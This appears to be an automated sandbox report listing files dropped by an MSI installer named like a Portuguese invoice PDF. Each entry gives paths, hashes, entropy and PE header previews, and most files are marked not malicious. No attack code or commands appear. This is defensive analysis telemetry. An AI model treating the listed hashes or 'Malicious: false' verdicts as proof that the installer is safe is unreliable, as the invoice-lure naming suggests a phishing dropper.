Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	300856
Entropy (8bit):	6.566429375406657
Encrypted:	false
SSDEEP:	3072:bCNrkQH7mY7iccAP4Yu3J5W7MZOGzs9B+JNc1F07KcnxGYu+Ueui38C2oSltrfVg:bAkA7iA4gM0TgNcAecnxGYu+scBQf4bv
MD5:	369A6CF512FEC341DCEB834C27E4D13E
SHA1:	68B77DE8B2619F787AA857C08A66A282DB078F22
SHA-256:	8CFFAE0C04713E045072B661D9173DD05F4D57A53F7E83703963A21F9CE88828
SHA-512:	4C95C40E0858D50903772DEA7F4E8E1E6044F31F1E92FFF1FE154C0D3446B6A5C7C88C8E1B76DC653CB1559F27BFFC175A3975C5C1B2D81197DACDDA1AE88888
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........B..U#.U#.U#.N.D.L#.N.p..#.N.q..#.\[I.Z#.U#..#.N.u.H#.N.A.T#.N.@.T#.N.G.T#.RichU#.........................PE..L.....U...........!.....z..........SL...............................................o....@..........................'..c.......x.......\|............\|..8.......$)..`...............................0...@............................................text....y.......z.................. ..`.rdata..............~..............@..@.data....E...0..."..................@....rsrc...\|............8..............@..@.reloc...=.......>...>..............@..B................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI37FD.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	300856
Entropy (8bit):	6.566429375406657
Encrypted:	false
SSDEEP:	3072:bCNrkQH7mY7iccAP4Yu3J5W7MZOGzs9B+JNc1F07KcnxGYu+Ueui38C2oSltrfVg:bAkA7iA4gM0TgNcAecnxGYu+scBQf4bv
MD5:	369A6CF512FEC341DCEB834C27E4D13E
SHA1:	68B77DE8B2619F787AA857C08A66A282DB078F22
SHA-256:	8CFFAE0C04713E045072B661D9173DD05F4D57A53F7E83703963A21F9CE88828
SHA-512:	4C95C40E0858D50903772DEA7F4E8E1E6044F31F1E92FFF1FE154C0D3446B6A5C7C88C8E1B76DC653CB1559F27BFFC175A3975C5C1B2D81197DACDDA1AE88888
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........B..U#.U#.U#.N.D.L#.N.p..#.N.q..#.\[I.Z#.U#..#.N.u.H#.N.A.T#.N.@.T#.N.G.T#.RichU#.........................PE..L.....U...........!.....z..........SL...............................................o....@..........................'..c.......x.......\|............\|..8.......$)..`...............................0...@............................................text....y.......z.................. ..`.rdata..............~..............@..@.data....E...0..."..................@....rsrc...\|............8..............@..@.reloc...=.......>...>..............@..B................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI4934.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	300856
Entropy (8bit):	6.566429375406657
Encrypted:	false
SSDEEP:	3072:bCNrkQH7mY7iccAP4Yu3J5W7MZOGzs9B+JNc1F07KcnxGYu+Ueui38C2oSltrfVg:bAkA7iA4gM0TgNcAecnxGYu+scBQf4bv
MD5:	369A6CF512FEC341DCEB834C27E4D13E
SHA1:	68B77DE8B2619F787AA857C08A66A282DB078F22
SHA-256:	8CFFAE0C04713E045072B661D9173DD05F4D57A53F7E83703963A21F9CE88828
SHA-512:	4C95C40E0858D50903772DEA7F4E8E1E6044F31F1E92FFF1FE154C0D3446B6A5C7C88C8E1B76DC653CB1559F27BFFC175A3975C5C1B2D81197DACDDA1AE88888
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........B..U#.U#.U#.N.D.L#.N.p..#.N.q..#.\[I.Z#.U#..#.N.u.H#.N.A.T#.N.@.T#.N.G.T#.RichU#.........................PE..L.....U...........!.....z..........SL...............................................o....@..........................'..c.......x.......\|............\|..8.......$)..`...............................0...@............................................text....y.......z.................. ..`.rdata..............~..............@..@.data....E...0..."..................@....rsrc...\|............8..............@..@.reloc...=.......>...>..............@..B................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI63A3.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	300856
Entropy (8bit):	6.566429375406657
Encrypted:	false
SSDEEP:	3072:bCNrkQH7mY7iccAP4Yu3J5W7MZOGzs9B+JNc1F07KcnxGYu+Ueui38C2oSltrfVg:bAkA7iA4gM0TgNcAecnxGYu+scBQf4bv
MD5:	369A6CF512FEC341DCEB834C27E4D13E
SHA1:	68B77DE8B2619F787AA857C08A66A282DB078F22
SHA-256:	8CFFAE0C04713E045072B661D9173DD05F4D57A53F7E83703963A21F9CE88828
SHA-512:	4C95C40E0858D50903772DEA7F4E8E1E6044F31F1E92FFF1FE154C0D3446B6A5C7C88C8E1B76DC653CB1559F27BFFC175A3975C5C1B2D81197DACDDA1AE88888
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........B..U#.U#.U#.N.D.L#.N.p..#.N.q..#.\[I.Z#.U#..#.N.u.H#.N.A.T#.N.@.T#.N.G.T#.RichU#.........................PE..L.....U...........!.....z..........SL...............................................o....@..........................'..c.......x.......\|............\|..8.......$)..`...............................0...@............................................text....y.......z.................. ..`.rdata..............~..............@..@.data....E...0..."..................@....rsrc...\|............8..............@..@.reloc...=.......>...>..............@..B................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI6642.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	300856
Entropy (8bit):	6.566429375406657
Encrypted:	false
SSDEEP:	3072:bCNrkQH7mY7iccAP4Yu3J5W7MZOGzs9B+JNc1F07KcnxGYu+Ueui38C2oSltrfVg:bAkA7iA4gM0TgNcAecnxGYu+scBQf4bv
MD5:	369A6CF512FEC341DCEB834C27E4D13E
SHA1:	68B77DE8B2619F787AA857C08A66A282DB078F22
SHA-256:	8CFFAE0C04713E045072B661D9173DD05F4D57A53F7E83703963A21F9CE88828
SHA-512:	4C95C40E0858D50903772DEA7F4E8E1E6044F31F1E92FFF1FE154C0D3446B6A5C7C88C8E1B76DC653CB1559F27BFFC175A3975C5C1B2D81197DACDDA1AE88888
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........B..U#.U#.U#.N.D.L#.N.p..#.N.q..#.\[I.Z#.U#..#.N.u.H#.N.A.T#.N.@.T#.N.G.T#.RichU#.........................PE..L.....U...........!.....z..........SL...............................................o....@..........................'..c.......x.......\|............\|..8.......$)..`...............................0...@............................................text....y.......z.................. ..`.rdata..............~..............@..@.data....E...0..."..................@....rsrc...\|............8..............@..@.reloc...=.......>...>..............@..B................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI697.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	93496
Entropy (8bit):	6.231777987055207
Encrypted:	false
SSDEEP:	1536:DqYUlkij4qptg7+OOHA5nnJ5apScCvi1o4jZA10KI0H:fU6ij4qpXqnnDiyAm6KdH
MD5:	8A89616B3C9E5847AE81203BABC3BBB5
SHA1:	67007128B1D9AAAA26B44EB683B9B2D50BBA1282
SHA-256:	DE9574CD2CA47121A832F767CA4ABE3569C2459BAF10FE0285D1FE39518542D6
SHA-512:	B1DD8FCFEF8AFD720B502A7EFEA663780E5E3A1B4C898DF76C3ECD70B36783CD5CED455741CC29369528907E5859DAE4D824DFED895E209FA4C476A842A168FF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Lc..Lc..Lc..R1r.Oc..E.u.Mc..E.e.Cc..Lc...c..E.\|.pc..E.d.Mc..R1b.Mc..E.g.Mc..RichLc..................PE..L...<..U...........!................n................................................Z....@..........................@.......9.......`...............R..8....p...............................................................2.......................text...!........................... ..`.rdata...h.......j..................@..@.data...d....P.......:..............@....rsrc........`.......>..............@..@.reloc..l....p.......D..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI6F6.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	93496
Entropy (8bit):	6.231777987055207
Encrypted:	false
SSDEEP:	1536:DqYUlkij4qptg7+OOHA5nnJ5apScCvi1o4jZA10KI0H:fU6ij4qpXqnnDiyAm6KdH
MD5:	8A89616B3C9E5847AE81203BABC3BBB5
SHA1:	67007128B1D9AAAA26B44EB683B9B2D50BBA1282
SHA-256:	DE9574CD2CA47121A832F767CA4ABE3569C2459BAF10FE0285D1FE39518542D6
SHA-512:	B1DD8FCFEF8AFD720B502A7EFEA663780E5E3A1B4C898DF76C3ECD70B36783CD5CED455741CC29369528907E5859DAE4D824DFED895E209FA4C476A842A168FF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Lc..Lc..Lc..R1r.Oc..E.u.Mc..E.e.Cc..Lc...c..E.\|.pc..E.d.Mc..R1b.Mc..E.g.Mc..RichLc..................PE..L...<..U...........!................n................................................Z....@..........................@.......9.......`...............R..8....p...............................................................2.......................text...!........................... ..`.rdata...h.......j..................@..@.data...d....P.......:..............@....rsrc........`.......>..............@..@.reloc..l....p.......D..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI716.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	93496
Entropy (8bit):	6.231777987055207
Encrypted:	false
SSDEEP:	1536:DqYUlkij4qptg7+OOHA5nnJ5apScCvi1o4jZA10KI0H:fU6ij4qpXqnnDiyAm6KdH
MD5:	8A89616B3C9E5847AE81203BABC3BBB5
SHA1:	67007128B1D9AAAA26B44EB683B9B2D50BBA1282
SHA-256:	DE9574CD2CA47121A832F767CA4ABE3569C2459BAF10FE0285D1FE39518542D6
SHA-512:	B1DD8FCFEF8AFD720B502A7EFEA663780E5E3A1B4C898DF76C3ECD70B36783CD5CED455741CC29369528907E5859DAE4D824DFED895E209FA4C476A842A168FF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Lc..Lc..Lc..R1r.Oc..E.u.Mc..E.e.Cc..Lc...c..E.\|.pc..E.d.Mc..R1b.Mc..E.g.Mc..RichLc..................PE..L...<..U...........!................n................................................Z....@..........................@.......9.......`...............R..8....p...............................................................2.......................text...!........................... ..`.rdata...h.......j..................@..@.data...d....P.......:..............@....rsrc........`.......>..............@..@.reloc..l....p.......D..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI784.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	2735221
Entropy (8bit):	6.558007046090954
Encrypted:	false
SSDEEP:	49152:bT9N2kEE5T9N2kEEWT9N2kEE8T9N2kEEwT9N2kEE4T9N2kEEqT9N2kEE8T9N2kEW:NNm2NmPNmRNmdNmxNmXNmNNmuNmC
MD5:	28D084D7F9DB7D88E31E45F984A3D280
SHA1:	B48E03B6A9C3C9D081365CB1BC679490C73B3E5B
SHA-256:	2BBD80A9F474EDE341C5298F986A701C24653F798EE423E73691CCA124459F48
SHA-512:	31FAB0DDC02293F9E89D4B9DBF68881D273AFA2F6E5DEDC37ADCF3B06FBE60B1B1F710D229166BCF8BDD887B24A03FFE3EF507E762D010495CBC4B32D103AF97
Malicious:	false
Preview:	...@IXOS.@.....@..zY.@.....@.....@.....@.....@.....@......&.{5C6353ED-1D1D-4B1D-98DF-773281977790}..Fatura..Fatura931Pendente956.pdf761.msi.@.....@..`!.@.....@........&.{0C667927-6D0B-4AB9-A01E-2A11C050934F}.....@.....@.....@.....@.......@.....@.....@.......@......Fatura......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration...@.....@.....@.]....&.{D2154826-F81C-429F-9546-0615974E92B9}".01:\Software\Fatura\Fatura\Version.@.......@.....@.....@........WriteRegistryValues..Writing system registry values..Key: [1], Name: [2], Value: [3]...@.....@.....@.3..$..@......Software\Fatura\Fatura...@....%...Version..33.96.25.98%...Path-.C:\Users\user\AppData\Roaming\Fatura\Fatura\....aaa1....J...aaa1.@......8...MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........B..U#.U#.U#.N.D.L#.N.p..#.N.q..#.\[I.Z#.U#..#.N.u

C:\Windows\Installer\MSI7F3.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	300856
Entropy (8bit):	6.566429375406657
Encrypted:	false
SSDEEP:	3072:bCNrkQH7mY7iccAP4Yu3J5W7MZOGzs9B+JNc1F07KcnxGYu+Ueui38C2oSltrfVg:bAkA7iA4gM0TgNcAecnxGYu+scBQf4bv
MD5:	369A6CF512FEC341DCEB834C27E4D13E
SHA1:	68B77DE8B2619F787AA857C08A66A282DB078F22
SHA-256:	8CFFAE0C04713E045072B661D9173DD05F4D57A53F7E83703963A21F9CE88828
SHA-512:	4C95C40E0858D50903772DEA7F4E8E1E6044F31F1E92FFF1FE154C0D3446B6A5C7C88C8E1B76DC653CB1559F27BFFC175A3975C5C1B2D81197DACDDA1AE88888
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........B..U#.U#.U#.N.D.L#.N.p..#.N.q..#.\[I.Z#.U#..#.N.u.H#.N.A.T#.N.@.T#.N.G.T#.RichU#.........................PE..L.....U...........!.....z..........SL...............................................o....@..........................'..c.......x.......\|............\|..8.......$)..`...............................0...@............................................text....y.......z.................. ..`.rdata..............~..............@..@.data....E...0..."..................@....rsrc...\|............8..............@..@.reloc...=.......>...>..............@..B................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSI88DF.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	300856
Entropy (8bit):	6.566429375406657
Encrypted:	false
SSDEEP:	3072:bCNrkQH7mY7iccAP4Yu3J5W7MZOGzs9B+JNc1F07KcnxGYu+Ueui38C2oSltrfVg:bAkA7iA4gM0TgNcAecnxGYu+scBQf4bv
MD5:	369A6CF512FEC341DCEB834C27E4D13E
SHA1:	68B77DE8B2619F787AA857C08A66A282DB078F22
SHA-256:	8CFFAE0C04713E045072B661D9173DD05F4D57A53F7E83703963A21F9CE88828
SHA-512:	4C95C40E0858D50903772DEA7F4E8E1E6044F31F1E92FFF1FE154C0D3446B6A5C7C88C8E1B76DC653CB1559F27BFFC175A3975C5C1B2D81197DACDDA1AE88888
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........B..U#.U#.U#.N.D.L#.N.p..#.N.q..#.\[I.Z#.U#..#.N.u.H#.N.A.T#.N.@.T#.N.G.T#.RichU#.........................PE..L.....U...........!.....z..........SL...............................................o....@..........................'..c.......x.......\|............\|..8.......$)..`...............................0...@............................................text....y.......z.................. ..`.rdata..............~..............@..@.data....E...0..."..................@....rsrc...\|............8..............@..@.reloc...=.......>...>..............@..B................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIA495.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	300856
Entropy (8bit):	6.566429375406657
Encrypted:	false
SSDEEP:	3072:bCNrkQH7mY7iccAP4Yu3J5W7MZOGzs9B+JNc1F07KcnxGYu+Ueui38C2oSltrfVg:bAkA7iA4gM0TgNcAecnxGYu+scBQf4bv
MD5:	369A6CF512FEC341DCEB834C27E4D13E
SHA1:	68B77DE8B2619F787AA857C08A66A282DB078F22
SHA-256:	8CFFAE0C04713E045072B661D9173DD05F4D57A53F7E83703963A21F9CE88828
SHA-512:	4C95C40E0858D50903772DEA7F4E8E1E6044F31F1E92FFF1FE154C0D3446B6A5C7C88C8E1B76DC653CB1559F27BFFC175A3975C5C1B2D81197DACDDA1AE88888
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........B..U#.U#.U#.N.D.L#.N.p..#.N.q..#.\[I.Z#.U#..#.N.u.H#.N.A.T#.N.@.T#.N.G.T#.RichU#.........................PE..L.....U...........!.....z..........SL...............................................o....@..........................'..c.......x.......\|............\|..8.......$)..`...............................0...@............................................text....y.......z.................. ..`.rdata..............~..............@..@.data....E...0..."..................@....rsrc...\|............8..............@..@.reloc...=.......>...>..............@..B................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSIB9E2.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	300856
Entropy (8bit):	6.566429375406657
Encrypted:	false
SSDEEP:	3072:bCNrkQH7mY7iccAP4Yu3J5W7MZOGzs9B+JNc1F07KcnxGYu+Ueui38C2oSltrfVg:bAkA7iA4gM0TgNcAecnxGYu+scBQf4bv
MD5:	369A6CF512FEC341DCEB834C27E4D13E
SHA1:	68B77DE8B2619F787AA857C08A66A282DB078F22
SHA-256:	8CFFAE0C04713E045072B661D9173DD05F4D57A53F7E83703963A21F9CE88828
SHA-512:	4C95C40E0858D50903772DEA7F4E8E1E6044F31F1E92FFF1FE154C0D3446B6A5C7C88C8E1B76DC653CB1559F27BFFC175A3975C5C1B2D81197DACDDA1AE88888
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........B..U#.U#.U#.N.D.L#.N.p..#.N.q..#.\[I.Z#.U#..#.N.u.H#.N.A.T#.N.@.T#.N.G.T#.RichU#.........................PE..L.....U...........!.....z..........SL...............................................o....@..........................'..c.......x.......\|............\|..8.......$)..`...............................0...@............................................text....y.......z.................. ..`.rdata..............~..............@..@.data....E...0..."..................@....rsrc...\|............8..............@..@.reloc...=.......>...>..............@..B................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\MSID51C.tmp

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	300856
Entropy (8bit):	6.566429375406657
Encrypted:	false
SSDEEP:	3072:bCNrkQH7mY7iccAP4Yu3J5W7MZOGzs9B+JNc1F07KcnxGYu+Ueui38C2oSltrfVg:bAkA7iA4gM0TgNcAecnxGYu+scBQf4bv
MD5:	369A6CF512FEC341DCEB834C27E4D13E
SHA1:	68B77DE8B2619F787AA857C08A66A282DB078F22
SHA-256:	8CFFAE0C04713E045072B661D9173DD05F4D57A53F7E83703963A21F9CE88828
SHA-512:	4C95C40E0858D50903772DEA7F4E8E1E6044F31F1E92FFF1FE154C0D3446B6A5C7C88C8E1B76DC653CB1559F27BFFC175A3975C5C1B2D81197DACDDA1AE88888
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........B..U#.U#.U#.N.D.L#.N.p..#.N.q..#.\[I.Z#.U#..#.N.u.H#.N.A.T#.N.@.T#.N.G.T#.RichU#.........................PE..L.....U...........!.....z..........SL...............................................o....@..........................'..c.......x.......\|............\|..8.......$)..`...............................0...@............................................text....y.......z.................. ..`.rdata..............~..............@..@.data....E...0..."..................@....rsrc...\|............8..............@..@.reloc...=.......>...>..............@..B................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\SourceHash{5C6353ED-1D1D-4B1D-98DF-773281977790}

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.1739845525111983
Encrypted:	false
SSDEEP:	12:JSbX72FjRAGiLIlHVRpyh/7777777777777777777777777vDHFvfo0pchl0i8Q:JTQI5ipF
MD5:	7546564133576AFFA0F1344A434EFBE2
SHA1:	F8E5930ABCA201AFAF97FA85A4DFB9BC96276B9D
SHA-256:	7A553634C98CDFDB74F2FB6D06CDFBEB5F9594AE0E67DBE9F736B546E7E5591C
SHA-512:	0B0AE628A76FDB84DEDA7B9E6839D0FA4C90D18E39308985218C83B92E08F5C567A6F5B1EEF9B88E23884C358A23B3BD4B2E68A88C0FB81C9CFE3E670F3DE87A
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Installer\inprogressinstallinfo.ipi

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5230335479585944
Encrypted:	false
SSDEEP:	48:L8PhKuRc06WXJ2FT5+4wY/MSC/WAECiCyqoX/MSC/cToOf:yhK1NFTOyM/1EC8M/a
MD5:	0B6E040A80A226A0474180A6AEC24359
SHA1:	48BDFB6E1197B23D13F9FA375B63D7BDA0400244
SHA-256:	464508D72C395E3CA3424E9F1BF0CB423484CC159B9BD9009DF02CD748B63C8E
SHA-512:	B6E99C6C4D2C45538EC47921C455440D8A9C6110775922D036E2A7E0BBCEA61839E096AA2C52F46964D4A6D2A365CC93B850583869CF9AEC7752D4E548E25DFB
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	432221
Entropy (8bit):	5.375164344904837
Encrypted:	false
SSDEEP:	1536:6qELG7gK+RaOOp3LCCpfmLgYI66xgFF9Sq8K6MAS2OMUHl6Gin327D22A26Kgaua:zTtbmkExhMJCIpErP
MD5:	A72B0CFC1D1AA1BAA17934DD2CD06E25
SHA1:	500EAD2AEDA1D7904F5D722DB11B6786DFD926B7
SHA-256:	D6B2D73C619D80CAAD7A6BC54FA62BD8EECC7DDF2369F97BBC645108273EB76F
SHA-512:	8067CDBB9BDBBE1613E7BD2FE0698D4F914516BF16F5DBF46409662E6DE1204DA561088387A3E61B346D73F564F467A07184364A4C9A0B58C29332534BA9A767
Malicious:	false
Preview:	.To learn about increasing the verbosity of the NGen log files please see http://go.microsoft.com/fwlink/?linkid=210113..12/07/2019 14:54:22.458 [5488]: Command line: D:\wd\compilerTemp\BMT.200yuild.1bk\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe executeQueuedItems /nologo ..12/07/2019 14:54:22.473 [5488]: Executing command from offline queue: install "System.Runtime.WindowsRuntime.UI.Xaml, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=msil" /NoDependencies /queue:1..12/07/2019 14:54:22.490 [5488]: Executing command from offline queue: install "System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil" /NoDependencies /queue:3..12/07/2019 14:54:22.490 [5488]: Exclusion list entry found for System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil; it will not be installed..12/07/2019 14:54:22.490 [

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	11608
Entropy (8bit):	4.890472898059848
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emdqVFn3eGOVpN6K3bkkjo5OgkjDt4iWN3yBGHVQ9R:9rib4ZmVoGIpN6KQkj2Fkjh4iUxsT6YP
MD5:	8A4B02D8A977CB929C05D4BC2942C5A9
SHA1:	F9A6426CAF2E8C64202E86B07F1A461056626BEA
SHA-256:	624047EB773F90D76C34B708F48EA8F82CB0EC0FCF493CA2FA704FCDA7C4B715
SHA-512:	38697525814CDED7B27D43A7B37198518E295F992ECB255394364EC02706443FB3298CBBAA57629CCF8DDBD26FD7CAAC44524C4411829147C339DD3901281AC2
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Windows\Temp\__PSScriptPolicyTest_0hna50bu.xlz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_0jc5u0bc.3kb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_4li5gzgr.jy1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
